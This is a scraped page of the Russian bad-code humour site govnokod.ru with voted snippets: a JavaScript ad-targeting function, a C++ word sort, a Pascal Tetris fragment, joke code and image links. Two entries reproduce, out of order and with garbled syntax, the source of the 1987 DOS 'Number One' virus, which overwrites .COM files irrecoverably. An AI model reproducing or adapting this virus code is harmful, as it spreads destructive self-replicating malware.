- 1
<a href="tariff.php">Расчет тарифа</a>
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
Всего: 26
+142
<a href="tariff.php">Расчет тарифа</a>
+132
function rechargePubSession(age,sexe)
{
var url_pub_ban = "publicite_banniere";
var url_pub_sky = "publicite_skyscrapper";
var ext;
if (age >0)
{
if (age < 18)
ext="_A";
else if (age < 33)
ext="_G";
else if (age >= 33)
ext="_E";
if (ext!="")
{
if (sexe == "F")
ext+="_F";
else if (sexe == "M")
ext+="_M";
if (sexe=="M" || sexe=="F")
{
url_pub_ban += ext;
url_pub_sky += ext;
}
}
}
url_pub_ban+=".html";
url_pub_sky+=".html";
frame_pub_banniere.document.location= url_pub_ban;
frame_pub_droite.document.location=url_pub_sky;
}
http://ru.akinator.com
+102
{ Infected it}
BlockWrite(Go,PrograStart,Succ(VirusSize shr 7));
Close(Go);
{ Say what has been done}
WriteLn(UsePath +' infected.');
Halt; {... and HALT the program}
End;
Close(Go);
End;
{The file has already been infected, search next}
Reg.AH:=$4F;
Reg.DS Seg(DTA);
Reg.DX Ofs(DTA);
MsDos(Reg)
{... Until no more files found}
Until Odd(Reg.Flags);
Write(''); { Give a smile}
End.
http://www.liveinternet.ru/users/gafarov-91/post120984751/
Вторая часть.
+94
{
-----------------------------------------------------------------
Number One
This is a very primitiv computer virus.
HANDLE WITH CARE! ----------- demonstration ONLY!
Number One infect all.COM-file in the CURRENT directory.
A warning message and the infected file's name will be displayed.
That file has been overwritten with Number One's programm
code and is not reconstructable!
If all file s are infected or no .COM-files found, Number
One gives you a .
Files may be protected against infections of Number One by
setting the READ ONLY attribute.
Written 10.3.1987 by M.Vallen (Turbo-Pascal 3.01a)
(c) 1987 by BrainLab
---------------------------------------------------------------------
}
{C-}
{U-}
{I-} { Do not allow an user Break, enable 10 check}
{--Constants----------------------------------------------------}
Const
VirusSize = 12027; { Number One's code size }
Warning : String [42] { Warning massage }
= 'This file has been infected by Number One's;
{--Type declaration----------------------------------------------}
Type
DTARec = Record { Date area for }
DOSnext : Array 1...21 of Byte; { file search }
Attr : Byte;
FTime,
FDate,
FLsize,
FHsize : Integer;
FullName : Array 1...13 of Char;
End;
Registers = Record {Register set useed for file search}
Case Byte of
1: ( AX, BX, CX, DX, BP, SI, DI, DS, ES,Flags: Integer);
2: ( AL, AH, BL, BH, CL, CH, DL, DH : Byte);
End;
{--Variables------------------------------------------------------}
Var
ProgramStart : Byte absolute Cseg: $180; {Memory offset of program code}
{Infection marker}
MarkInfected : String 42 absolute Cseg: $180;
Reg : Register; { Register set}
DTA : DTARec; { Date area}
Buffer :Array [Byte] of Byte; { Date buffer}
TestID : String 42; {To recognize infected files}
UsePath : String 66; { Path to search files}
{Length of search path}
UsePathLength: Byte absolute UsePath;
Go : File; { File to infect}
B : Byte; { Used }
--Program code-------------------------------------------------------
Begin
WriteLn(Warning); {Display Warning massage}
GetDir(0,UsePath); { Get current directory}
if Post ('', UsePath ) <> UsePathLengt then
UsePath:= UsePath + '';
UsePath:= UsePath + '*.COM'; { Define search mask}
Reg.AH := $1A; { Set date area}
Reg.DS Seg(DTA);
Reg.DX Ofs(DTA);
MsDos(Reg);
UsePath Succ(UsePathLength):=0; Path must end with =0
Reg.AH := $4e;
Reg.DS := Seg(UsePath);
Reg.DX := Ofs(UsePath 1);
Reg.CX :=$ff; {Set attribut to find ALL files}
MsDos(Reg); { Find the first matching entry}
If not Odd(Reg.Flags) Then { If a file found then...}
Repeat
UsePath:=DTA.FullName;
B := Pos(#0,UsePath);
If B> 0 Then
Delete (UsePath,B,255); { Remove garbage}
Assign(Go, UsePath);
Reset(GO);
If IOresult=0 {If not error then}
Begin
BlockRead(Go,Buffer,2);
Move(Buffer $80,TestID, 43);
{Test if file is already infected}
If TestID<> Warning then { If not, then}
Begin
Seek(Go,0);
{Mark file as infected and...}
MarkInfected:= Warning;
http://www.liveinternet.ru/users/gafarov-91/post120984751/
Первая часть.
−30
#include <iostream>
#include <conio.h>
using namespace std;
char* find(char* str)
{
int i = 0, mlen=0;
char* minword = new char[100];
char* curword = new char[100];
while(str[i]==' ') i++;
mlen = i;
while((str[mlen]!=' ')&&(str[mlen])) mlen++;
mlen -= i;
strncpy(minword, str+i, mlen);
minword[mlen] = '\0';
i += mlen;
while(str[i])
{
while(str[i]==' ') i++;
mlen = i;
while((str[mlen]!=' ')&&(str[mlen])) mlen++;
mlen -= i;
strncpy(curword, str+i, mlen);
curword[mlen] = '\0';
i += mlen;
if(strcmp(minword, curword) > 0)
{
strcpy(minword, curword);
}
}
return minword;
}
void del(char*& str, char* str2)
{
int i = 0, j =0, st=0;
char* nstr = new char[200];
while(str[i])
{
j = 0;
while(str[i]==str2[j])
{
i++; j++;
}
if(j==strlen(str2))
{
strncpy(nstr, str+st, i-j);
nstr[i-j] = '\0';
st = i;
break;
}
i++;
}
strcat(nstr, str+st);
str = nstr;
}
void sort(char*& str)
{
int len = strlen(str);
char* nstr = new char[200];
char* buf = new char[200];
buf = find(str);
strcpy(nstr, buf);
del(str, buf);
while(strlen(nstr) != len)
{
buf = find(str);
strcat(nstr, " ");
strcat(nstr, buf);
del(str, buf);
}
nstr[len] = '\0';
str = nstr;
}
void main()
{
char* str = new char[200];
str = "my little pony";
sort(str);
cout<<str;
}
Из вузовского компьютера.
−43
int eger;
+25
#ncld<strm.h>
vd mn()
{
ct<<"Hll, wrld!";
cn.gt();
}
Нхй пргрммрвн.
+105
program tetris;
uses
crt;
var
ss,nn,x,y,pus,a,b,c,d,lin,rlin:integer;
st:array[1..12] of array[1..22] of integer;
procedure k(x,y:integer);
{ђЁб㥬 Єў а¤а вЁЄ}
begin
gotoxy(x*2+27,25-y);
if ss=0 then write(' ');
if ss=1 then write('[]');
if ss=2 then write(chr(177),chr(177));
if (ss=3) and (st[x,y]>0) then pus:=1;
if ss=4 then st[x,y]:=1;
gotoxy(1,1);write(' ');
end;
procedure fig(x,y,n,s:integer);
{ђЁб㥬 дЁЈгаг}
begin
if s=3 then pus:=0;
ss:=s; k(x,y);
if n=1 then begin k(x+1,y);k(x,y-1);k(x+1,y-1) end;
if n=2 then begin k(x-1,y);k(x+1,y);k(x+2,y) end;
if n=3 then begin k(x,y+1);k(x,y-1);k(x,y-2) end;
if n=4 then begin k(x+1,y);k(x-1,y);k(x-1,y+1) end;
if n=5 then begin k(x,y+1);k(x+1,y+1);k(x,y-1) end;
if n=6 then begin k(x-1,y);k(x+1,y);k(x+1,y-1) end;
if n=7 then begin k(x,y+1);k(x,y-1);k(x-1,y-1) end;
if n=8 then begin k(x-1,y);k(x+1,y);k(x+1,y+1) end;
if n=9 then begin k(x,y+1);k(x,y-1);k(x+1,y-1) end;
if n=10 then begin k(x+1,y);k(x-1,y);k(x-1,y-1) end;
if n=11 then begin k(x,y+1);k(x,y-1);k(x-1,y+1) end;
if n=12 then begin k(x-1,y);k(x,y-1);k(x+1,y-1) end;
if n=13 then begin k(x,y+1);k(x-1,y);k(x-1,y-1) end;
if n=14 then begin k(x+1,y);k(x-1,y-1);k(x,y-1) end;
if n=15 then begin k(x-1,y);k(x,y-1);k(x-1,y+1) end;
if n=16 then begin k(x+1,y);k(x-1,y);k(x,y+1) end;
if n=17 then begin k(x+1,y);k(x,y+1);k(x,y-1) end;
if n=18 then begin k(x,y-1);k(x-1,y);k(x+1,y) end;
if n=19 then begin k(x-1,y);k(x,y+1);k(x,y-1) end
end;
procedure pov;
{Џ®ў®а®в дЁЈгал}
begin
nn:=nn-1;
if nn=15 then nn:=19;
if nn=13 then nn:=15;
if nn=11 then nn:=13;
if nn=7 then nn:=11;
if nn=3 then nn:=7;
if nn=1 then nn:=3;
if nn=0 then nn:=1;
end;
procedure clrst;
{ЋзЁбвЄ бв Є }
begin
for x:=1 to 12 do
for y:=1 to 22 do
if (x=1) or (x=12) or (y=1) then st[x,y]:=2 else st[x,y]:=0;
end;
procedure risvesst;
{ђЁб®ў вм ўҐбм бв Є }
begin
for x:=1 to 12 do for y:=1 to 22 do
begin
ss:=st[x,y];
k(x,y)
end;
end;
procedure dvig;
{„ўЁ¦ҐЁҐ}
var
i:integer;key:char;
begin
for i:=1 to 10 do
begin
delay(d);
key:=' ';
if keypressed then key:=readkey;
if key='i' then
begin
fig(x-1,y,nn,3);
if pus=0 then begin fig(x,y,nn,0); x:=x-1; fig(x,y,nn,1); end;
end;
http://sources.ru/pascal/gamestxt/tet.htm
+140
http://demiart.ru/forum/journal_uploads4/j142469_1323852771.png
http://demiart.ru/forum/journal.php?user=142469
http://demiart.ru/forum/index.php?s=079089252ad62a33ea31e842aa83 e50a&showuser=15046
+154
http://www.kulina.su/images/docs/Image/pirog(3).jpg
Пирогет.КАПЧА: 9944